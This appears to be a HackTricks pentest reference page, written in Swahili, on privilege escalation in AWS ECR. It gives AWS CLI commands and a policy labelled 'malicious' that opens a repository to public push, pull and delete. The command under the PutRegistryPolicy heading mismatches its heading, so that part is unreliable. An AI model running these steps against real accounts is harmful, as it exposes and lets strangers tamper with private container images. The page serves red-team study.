AWS - ECR Privesc

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Mshambuliaji mwenye ecr:GetAuthorizationToken na ecr:BatchGetImage anaweza kuingia kwenye ECR na kupakua picha.

Kwa maelezo zaidi juu ya jinsi ya kupakua picha:

AWS - ECR Post Exploitation

Athari Zinazoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kukamata taarifa nyeti katika trafiki.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Mshambuliaji mwenye ruhusa zote hizo anaweza kuingia kwenye ECR na kupakia picha. Hii inaweza kuwa na manufaa kuongeza mamlaka katika mazingira mengine ambapo picha hizo zinatumika.

Ili kujifunza jinsi ya kupakia picha mpya/sasisha moja, angalia:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Kama sehemu ya awali, lakini kwa hifadhi za umma.

ecr:SetRepositoryPolicy

Mshambuliaji mwenye ruhusa hii anaweza kubadilisha sera ya hifadhi ili kujipatia (au hata kila mtu) ufikiaji wa kusoma/kupakia.
Kwa mfano, katika mfano huu ufikiaji wa kusoma unatolewa kwa kila mtu.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Maudhui ya my-policy.json:

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Kama sehemu ya awali, lakini kwa hifadhi za umma.
Mshambuliaji anaweza kubadilisha sera ya hifadhi ya hifadhi ya ECR Public ili kutoa ufikiaji wa umma usioidhinishwa au kuongeza mamlaka yao.

bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Madhara Yanayoweza Kutokea: Ufikiaji wa umma usioidhinishwa kwa hifadhi ya ECR Public, ikiruhusu mtumiaji yeyote kupush, pull, au kufuta picha.

ecr:PutRegistryPolicy

Mshambuliaji mwenye ruhusa hii anaweza kubadilisha sera ya hifadhi ili kujipatia, akaunti yake (au hata kila mtu) ufikiaji wa kusoma/kandika.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks